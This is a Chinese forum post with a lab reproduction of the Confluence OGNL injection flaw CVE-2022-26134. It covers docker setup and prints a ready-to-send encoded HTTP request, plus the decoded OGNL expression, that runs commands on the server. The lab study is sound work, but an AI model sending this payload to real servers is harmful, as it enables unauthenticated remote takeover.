请选择 进入手机版 | 继续访问电脑版
查看: 6162|回复: 2

Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

[复制链接]
匿名
匿名  发表于 2022-6-4 11:32:00 |阅读模式
Atlassian Confluence是企业广泛使用的wiki系统。
2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
CVE-2022-26134

参考链接:

https://confluence.atlassian.com ... -02-1130377146.html
https://attackerkb.com/topics/BH ... 134/rapid7-analysis

漏洞环境

执行如下命令启动一个Confluence Server 7.13.6:
[AppleScript] 纯文本查看 复制代码
docker-compose up -d


环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。
在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres。
QQ截图20220604113024.jpg

漏洞复现

该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
[AppleScript] 纯文本查看 复制代码
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

QQ截图20220604113102.jpg

其中使用到的OGNL表达式为
[AppleScript] 纯文本查看 复制代码
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
回复

使用道具 举报

  • TA的每日心情
    开心
    14 小时前
  • 签到天数: 114 天

    [LV.6]常住居民II

    发表于 2022-6-4 20:51:38 | 显示全部楼层
    看看学习一下
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    14 小时前
  • 签到天数: 114 天

    [LV.6]常住居民II

    发表于 2022-6-4 20:51:54 | 显示全部楼层
    自己对漏洞研究不太熟悉
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表